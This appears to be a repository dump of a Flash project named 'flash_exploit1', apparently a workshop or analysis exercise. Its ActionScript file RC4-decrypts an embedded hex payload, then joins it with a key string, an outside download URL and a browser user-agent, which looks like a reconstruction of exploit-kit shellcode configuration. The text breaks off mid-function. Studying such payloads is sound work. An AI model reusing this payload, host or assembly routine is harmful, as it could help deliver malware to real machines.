ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad'}}aa.outerHTML='";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab
2 |
3 |
4 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
--------------------------------------------------------------------------------
/flash_exploit1/obj/flash_exploit1Config.old:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | 18.0
6 | false
7 | true
8 |
9 |
10 | CONFIG::debug
11 | true
12 |
13 |
14 | CONFIG::release
15 | false
16 |
17 |
18 | CONFIG::timeStamp
19 | '7/26/2016'
20 |
21 |
22 | CONFIG::air
23 | false
24 |
25 |
26 | CONFIG::mobile
27 | false
28 |
29 |
30 | CONFIG::desktop
31 | false
32 |
33 | true
34 |
35 | C:\Users\REM\Documents\flash_exploit1\src
36 | C:\Program Files\FlashDevelop\Library\AS3\classes
37 |
38 |
39 |
40 | C:\Users\REM\Documents\flash_exploit1\src\Main.as
41 |
42 | #FFFFFF
43 | 30
44 |
45 | 800
46 | 600
47 |
48 |
--------------------------------------------------------------------------------
/flash_exploit1/obj/flash_exploit1Config.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | 18.0
6 | false
7 | true
8 |
9 |
10 | CONFIG::debug
11 | true
12 |
13 |
14 | CONFIG::release
15 | false
16 |
17 |
18 | CONFIG::timeStamp
19 | '7/26/2016'
20 |
21 |
22 | CONFIG::air
23 | false
24 |
25 |
26 | CONFIG::mobile
27 | false
28 |
29 |
30 | CONFIG::desktop
31 | false
32 |
33 | true
34 |
35 | C:\Users\REM\Documents\flash_exploit1\src
36 | C:\Program Files\FlashDevelop\Library\AS3\classes
37 |
38 |
39 |
40 | C:\Users\REM\Documents\flash_exploit1\src\Main.as
41 |
42 | #FFFFFF
43 | 30
44 |
45 | 800
46 | 600
47 |
48 |
--------------------------------------------------------------------------------
/flash_exploit1/src/Main.as:
--------------------------------------------------------------------------------
1 | package
2 | {
3 | import flash.display.Sprite;
4 | import flash.events.Event;
5 | import flash.utils.ByteArray;
6 |
7 | /**
8 | * ...
9 | * @author BSLV16 rocks!
10 | */
11 | public class Main extends Sprite
12 | {
13 |
14 | public function Main()
15 | {
16 | if (stage) init();
17 | else addEventListener(Event.ADDED_TO_STAGE, init);
18 | }
19 |
20 | private function init(e:Event = null):void
21 | {
22 | removeEventListener(Event.ADDED_TO_STAGE, init);
23 | // entry point
24 | var _loc5_:String = "iso-8859-1";
25 | var _loc7_:String = "littleEndian";
26 | //if(param1 == null || param2 == null || param3 == null)
27 | //{
28 | //return null;
29 | //}
30 | //debug
31 | var _loc6_:ByteArray = new ByteArray();
32 | //_loc6_ = unzip(_loc7_,new skotina_class() as ByteArray);
33 | _loc6_ = unzip(_loc7_,toArray("5BD98F4159F75112FC2EAEFA8B09FB1B8A21FC7C35B6FFB25821BE559EC5DBA596573D237B555134C45868353BE8F7DDF0653814BB4804155CB1165D4FDC981F8375888D7A2B197EA5EFF1470CAECC009DDCE98B0C205F2ED9EB73477F54C0D324241F38842875EA89ABC7668DD6A6EBF66C0B864B6FAB14A7F8AE5BBD7851E89629BB1ECBB6407024780D022DE33A01A3AA0653746E08EC0341DC530D17558E3F5514319F41CF7F570253E0F9E7092FFC254E0DFF2F8D3EB2EF489DF6CF749257A8D65E756B280051093323D71328B18751DCE22BF432DCD627E9C05E12F190EB352043622C463AD9D699FEEE64D994FA41E1B0A1AAF3A9B49EC9304B862F6525B970DC4A3BCC62EE27E5B61C5144E2C122D9BD84B53D466AF6939CB5A98A039883C85C458EBA6598A992E70EEF1E049C19FFC640E8E83D06CAF72638BBE07A7FD5FB372CE9C70F6217E9BD673F07767FA2F4E5CF66A0C820E911BBCD0AE5F3BBD3FD6798BC00D3501BD49C6BE646D7859A54B839F9286DDEDF6EB66DA0B577BD49334012B2627D5D075AE73E9993AADB0A6C3BD1040FFDB3B3BC816EC5A0EE3DE4896DAB4465462E76FA42AC880B48C9A0159C48B5ED53AFA47A19C5AFF1B047A20086B5BD44D71341204D15AD1B711E89D40D23BD6D4F5ADBAF652AB162BCDEF38C1D96AFEB9A4C31B49C1FB9A80769C18EF8F4E10D6CA4F23E73D613780239DF00455DB8F8E805711ADC9886E89E42517A0DC4D979A5D4CA8B093636A5F1C0C7B7C35558117DC6BDEB56DEF507F566E58110DB4BB794AFFEF34682E24793682A48B518C06450719C95EC9AB26909A9CB6F5B3CAA44E2E0AA65E325F9C88CC8F25C2F9A66A0DBBD96C5B202C90CB665265AAE490253F6CFC951743BF674730BB72A08A7428AE161C80C39981E22AFB572C342CE1AB140CD87F1332620807BDEAEDD6C3C3F1CEE7BD8CB608CF160D63718E4D5B6D0CC12CAF004B6EA4634F83E10C14358438A519D5C0BB474D87C9A1DD4925E8A2E75488E5B97FA84E61E0B45C4FB89FE073CA7866D334C8C06CF1EDF17255053070E1A67CB0D6A3E53B865435157D40C1DE11AF43903C708F801588945075F681AF4FA27FBDF1264155D2DE71B9D0856DE6EB840165B6DA78C6CB9E7633CA34783C123D2172D8BFEDBACBEFD0AE431C1F4A9062DCA9F65B90A46F69FBC9F74F74957CB3989F68B8FCA2E1D4A122E8537CCD44D57B42739A420F6638809CEFCBE06DB6C122965518410A344BCD1B67CBB19470327A6D090FBD7CF3C38F5222A9FA511A48B3BE3D1AA99816C2E999260993E67026B00C96723DBECE6848FB3FEEBB83EB6B31733B618D18C62083470EC9BAF6E4A3A439D7453772B3E1917C11B1DD7AD0D39AEB340C38A09BA694BA5B361745A4D6C0977AB0B3241F73C0867FC7578E39C4A001FA116F01F03CCAD8EDE380898D2001DD41E28D1405E205A14A6AAC12CD33D7A4DB190F6AA9F1F2BDFBC5555C1698EF8E75A9F8EE240A4C200AE0F5F259F0287854F2C99D8BA2335970590A301734863BC1ECA4630DC0CA53433262DCD9C83FA97C4B8C8F73438F6D8084780AACD15BEF369319D58195733EEE05F3509673FD23C377963538698ACF8C4D766C122C76ADFB025C8037A982E0D911A86B5BF515FF75DFAD602EA859A44DEFF8F2F61FE37D856C60341008A1F4985CEFD33BCBA9EF828E9C432E926110BA4DC6080A4380370647E811CA2D7FBAE93FD518D92D8905D72BCB47EF60FD1226D5875C71E7FA2179F6D890EB824EE1651C4BD5E4E694680BEB2112089470584FE48AB46A42366DB4A850531E15A934037F933EF60C1412027CD33B410C7AF2540A75D695A3FCB50C5494AEE57608029FB4DA1FC8F55AFC3950377ABADAB87A4E23FD34CA6ED1130B4E06ABE1449CF374A11D779EBB9A5B395B2F069CAA96851F224785D57E0B14DAD4AC5DD6E63FD1452D45CF8B3355CD2367847E6E7D28CD4C027337A04298F8EA36524934FA12E11D80C27F49B8DD0D19FB23BDE3C6D7DD34A799E9CED9321B684A881E7"));
34 | _loc6_.position = 0;
35 | var _loc4_:ByteArray = new ByteArray();
36 | _loc4_.endian = _loc7_;
37 | _loc4_.writeBytes(_loc6_,0,_loc6_.length);
38 | //_loc4_.writeMultiByte(param1,_loc5_);
39 | _loc4_.writeMultiByte("amfnkiyvhk",_loc5_);
40 | _loc4_.writeByte(34);
41 | _loc4_.writeByte(32);
42 | _loc4_.writeByte(34);
43 | //_loc4_.writeMultiByte(param2,_loc5_);
44 | _loc4_.writeMultiByte("http://tuberculiser-univest.smj.me/body/1519218/love-today-below-ought",_loc5_);
45 | _loc4_.writeByte(34);
46 | _loc4_.writeByte(32);
47 | _loc4_.writeByte(34);
48 | //_loc4_.writeMultiByte(param3,_loc5_);
49 | _loc4_.writeMultiByte("Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko",_loc5_);
50 | _loc4_.writeByte(34);
51 | _loc4_.writeUnsignedInt(0);
52 | while(_loc4_.length % 4 != 0)
53 | {
54 | _loc4_.writeByte(0);
55 | }
56 | _loc4_.position = 0;
57 | trace(fromArray(_loc4_));
58 | }
59 |
60 | private function unzip(param1:String, param2:ByteArray) : ByteArray
61 | {
62 | var _loc5_:* = 0;
63 | var _loc6_:* = 0;
64 | var _loc7_:int = 0;
65 | var _loc4_:ByteArray = new ByteArray();
66 | var _loc8_:* = 0;
67 | var _loc3_:ByteArray = new ByteArray();
68 | var _loc9_:ByteArray = new ByteArray();
69 | _loc9_.writeMultiByte(param1,"iso-8859-1");
70 | _loc6_ = 0;
71 | while(_loc6_ < 256)
72 | {
73 | _loc4_[_loc6_] = _loc6_;
74 | _loc6_++;
75 | }
76 | _loc6_ = 0;
77 | while(_loc6_ < 256)
78 | {
79 | _loc8_ = uint(_loc8_ + _loc4_[_loc6_] + _loc9_[_loc6_ % _loc9_.length] & 255);
80 | _loc5_ = uint(_loc4_[_loc6_]);
81 | _loc4_[_loc6_] = _loc4_[_loc8_];
82 | _loc4_[_loc8_] = _loc5_;
83 | _loc6_++;
84 | }
85 | _loc6_ = 0;
86 | _loc8_ = 0;
87 | _loc7_ = 0;
88 | while(_loc7_ < param2.length)
89 | {
90 | _loc6_ = uint(_loc6_ + 1 & 255);
91 | _loc8_ = uint(_loc8_ + _loc4_[_loc6_] & 255);
92 | _loc5_ = uint(_loc4_[_loc6_]);
93 | _loc4_[_loc6_] = _loc4_[_loc8_];
94 | _loc4_[_loc8_] = _loc5_;
95 | _loc3_[_loc7_] = param2[_loc7_] ^ _loc4_[_loc4_[_loc6_] + _loc4_[_loc8_] & 255];
96 | _loc7_++;
97 | }
98 | return _loc3_;
99 | }
100 |
101 | /**
102 | * Generates lowercase hexadecimal string from given byte-array
103 | */
104 | public static function fromArray(array:ByteArray, colons:Boolean=false):String {
105 | var s:String = "";
106 | for (var i:uint=0;i